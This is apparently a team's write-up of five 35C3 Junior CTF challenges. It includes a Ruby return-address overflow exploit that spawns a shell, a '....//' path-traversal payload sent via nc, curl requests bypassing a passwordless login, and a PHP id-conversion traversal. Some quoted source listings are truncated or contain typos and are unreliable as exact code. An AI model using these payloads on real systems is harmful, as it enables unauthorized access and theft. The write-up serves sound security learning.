This year, like every year since I heard about CTFs, I tried to play the famous CTF of the Chaos Communication Congress. Since the 33C3, they organize a Junior version which unlike the name can tell, it isn’t for kids nor beginners. It’s a Junior version if you compare it to the level of the people playing the actual CCC CTF.

Herdir, Lunar and I decided to create a small team occasionally joined by passers-by, our goal was to try and have fun.

One thing to know is that, as much a challenge can be frustrating, the joy of finding a solution makes you forget all your bad feelings. It’s worth it.

Also if you’re planning to play, try not playing alone, it’s funnier with other people.

Here is the write-up of some of the challenges we did.

PWN: 1996

Description: It’s 1996 all over again!

You receive a compiled file and 1996.cpp file.

// 1996.cpp
#include <iostream>
#include <unistd.h>
#include <stdlib.h>

using namespace std;

void spawn_shell() {
    char* args[] = {(char*)"/bin/bash", NULL};
    execve("/bin/bash", args, NULL);

int main() {
    char buf[1024];

    cout << "Which environment variable do you want to read? ";
    cin >> buf;

    cout << buf << "=" << getenv(buf) << endl;

This is a classic buffer overflow challenge, it’s not as classic as it has some little tricks.

This website helped us a lot in understanding the solution for that. We need a program that hits the return value of the main function to call the spawn_shell function in order to launch the shell and find the flag. Moreover, we also need to keep the shell open.

main allocates 1024 bytes in the stack and we know spwan_shell is going to be compiled but not called. So as we control cin, we can smash buff to create an overflow to create space in the stack and use it to call the spwan_shell function.

However, we need to compile without any randomisation (ALSR) position independent executable (so it’s easier to find the addresses of the functions).

We also need the size of the calls to the function before the return (where getenv is called). There we are going to move the pointer of the stack so the new function will have space without erasing the previous one.

Here is the clean version of the exploit Lunar wrote:


# We want to send the text while recieving it
STDOUT.sync = true
STDIN.sync = true

# Size of the buffer with the padding
buf_size = 0x410
# Size of the rbp pointer
rbp_size = 8

# String to smash buf and rbp
smash_string = "a" * (buf_size + rbp_size)

# The address of the spawn_shell functon in little endian
new_rip = "\x00\x00\x00\x00\x00\x40\x08\x97".reverse

# Sending the result in the output
STDOUT.write (smash_string + new_rip)


# A loop to interact with the shell and keep it open
while l = gets
  puts l

And you get access to the shell and retrieve the flag from there.

PWN: poet

Description: We are looking for the poet of the year

In this case, you only have an executable file and no code. When running the program, it count your input (a poem) and you need to have exactly 1000000 to score. When decompiling the program with radare2, we realized that there was a reward function and when we strings the program, there was a flag.txt. This means that there should be a way to trigger this function from the input. Another kind of buffer overflow exploit.

While analyzing the code, it’s interesting to see that the score which matters is the one of the author not the poem. The poem has 1024 bytes allocated and the author 64. You need to pwn the author and write after it because otherwise the return value of the struct poem will be overwritten.

Luckily, in radare2 we found this line:

0x004009d8      81bb40040000.  cmp dword [rbx + 0x440], 0xf4240      ; [0x440:4]=-1 ; 1000000

Which give us the value of the return function of the score. So the exploit looks like this (put in a file to forget about terminal quotation errors):

puts ""
puts ('a'*64) + '\x40\x42\xf'

And you get the flag.

Note: don’t forget the single quote on the address otherwise it will just be interpretated like a string.

Web: Flags

Description: Flag is at /flag.

On a webpage, we have a little script in PHP and an image. The script is the following:

  $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
  $lang = explode(',', $lang)[0];
  $lang = str_replace('../', '', $lang);
  $c = file_get_contents("flags/$lang");
  if (!$c) $c = file_get_contents("flags/ot");
  echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';

So this script accepts the Accept-Language header of the HTTP request and parses it to output the according flag of your browser language. It’s the only data we have control on, so it’s from there we need to send our payload.

We also now we need to get to ‘/flag’ but any ‘../’ would be replace by spaces.

We started to look into Directory Traversal exploits and encoding but file_get_contents only accepts a string and doesn’t seem to interpret encoding. Funny thing is that str_replace replaces a very specific string: ‘../’. What happens if you end it ‘….//’?

We where playing with curl and requests Python library but at this moment we just had timed out requests. So something was wrong in the way we were sending the payload although something was working because the server was responding the default page.

But why using fancy tools when you can simply use nc?

printf 'GET / HTTP/1.1\r\nHost:\r\nAccept-Language: ....//....//....//....//....//flag\r\n\r\n' | nc -v <IP> | less

Worked like a charm. Decrypt the base64 and it’s done.

Note: Weirdly, I had to deactivate my VPN to be able to send the payload. It’s possible that the VPN company I’m currently trusting filters HTTP requests they deemed malicious. Not great to play CTFs.

Web: Logged In


Good coders should learn one new language every year.

InfoSec folks are even used to learn one new language for every new problem they face (YMMV).

If you have not picked up a new challenge in 2018, you’re in for a treat.

We took the new and upcoming Wee programming language from Big shout-out to Mario Zechner (@badlogicgames) at this point.

Some cool Projects can be created in Wee, like: this, this and that.

Since we already know Java, though, we ported the server ( and to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/

Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here).

We even added new features to this better server, like server-side Wee evaluation!

To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don’t have to be concerned about.

The most important par here is the /pyserver/ file. All the rest are rabbits holes that don’t lead anywhere. The file is quite long, you can find the whole thing here.

By looking at the code, you find this part first:

187 @app.route("/api/login", methods=["POST"])
188 def login():
189     print("Logging in?")
190     # TODO Send Mail
191     json = request.get_json(force=True)
192     login = json["email"].strip()
193     try:
194     ¦   userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
195     except Exception as ex:
196     ¦   raise Exception("UserDoesNotExist")
197     return get_code(name)

So to login, you must provide a user name or an email and you receive a code with that. If you look into the code for the get_code() function, it’s a randomization so, not really working, especially if you want to access something that exists in the db, it’s very possible that the username are changing over and over again.

But what you see is that it doesn’t use a password! So we tried to forge a request that looked like this (by guessing here and there of course – especially for the email):

curl --header "Content-Type: application/json" \\
  --request POST \\
  --data '{"code":"pouet","password":"pouet", "email":"admin"}' \\
  <TARGET IP>/api/login

You receive the return of the get_code(name) for name you provided. At this moment, go look this part of the code:

200 @app.route("/api/verify", methods=["POST"])
201 def verify():
202     code = request.get_json(force=True)["code"].strip()
203     if not code:
204     ¦   raise Exception("CouldNotVerifyCode")
205     userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
206     db = get_db()
207     c = db.cursor()
208     c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
209     token = random_code(32)
210     c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
211     db.commit()
212     name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
213     resp = make_response()
214     resp.set_cookie("token", token, max_age=2 ** 31 - 1)
215     resp.set_cookie("name", name, max_age=2 ** 31 - 1)
216     resp.set_cookie("logged_in", LOGGED_IN)
217     return resp

So now we need to hit this endpoint to receive the token and we don’t need to reference a password as it doesn’t check for any:

curl -v --header "Content-Type: application/json" \\
  --request POST \\
  --data '{"code":<CODE YOU RECIEVED>,"password":""}'
  <TARGET IP>/api/verify

The flag was one of the cookie.

Web: Not(e) Accessible


We love notes. They make our lifes more structured and easier to manage! In 2018 everything has to be digital, and that’s why we built our very own note-taking system using micro services: Not(e) accessible! For security reasons, we generate a random note ID and password for each note.

Recently, we received a report through our responsible disclosure program which claimed that our access control is bypassable…

Here you have a webapp to create notes with a Ruby backend and a PHP frontend. The home page that creates the note hashes a password to it. So for each note you have an ID and a password which is a MD5 hash.

The thing that you need to break is this:

<?php header("Content-Type: text/plain"); ?>
    require_once "config.php";
    fi(isset($_GET['id']) && isset($_GET['pw'])) {
        $id = $_GET['id'];
        if(file_exists("./pws/" . (int) $id . ".pw")) {
            if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
                echo file_get_contents($BACKEND . "get/" . $id);
            } else {
        } else {

First, we submitted a note directly from the terminal:

curl -X POST --form "submit=true" --form "note=youpi"

From there, we received the ID and the password of the response. Then, you need to play with the conversion rules of integers to guess the password. Finally, you exploit is as a directory traversal:

curl 'http://<IP>/view.php?id=<ID>/../../admin&pw=<PW>'

And you get the flag.


We did some challenges and although it was sometime frustrating, the fact that, as beginners, we could solve some of those and enjoy the Congress is good news. Don’t feel bad for failing, it’s part of the game. Keep up the good mood and try harder!

We finished 92nd on 520 which is quite honorable!

Thank you Lunar & Herdir! Go team pierogi!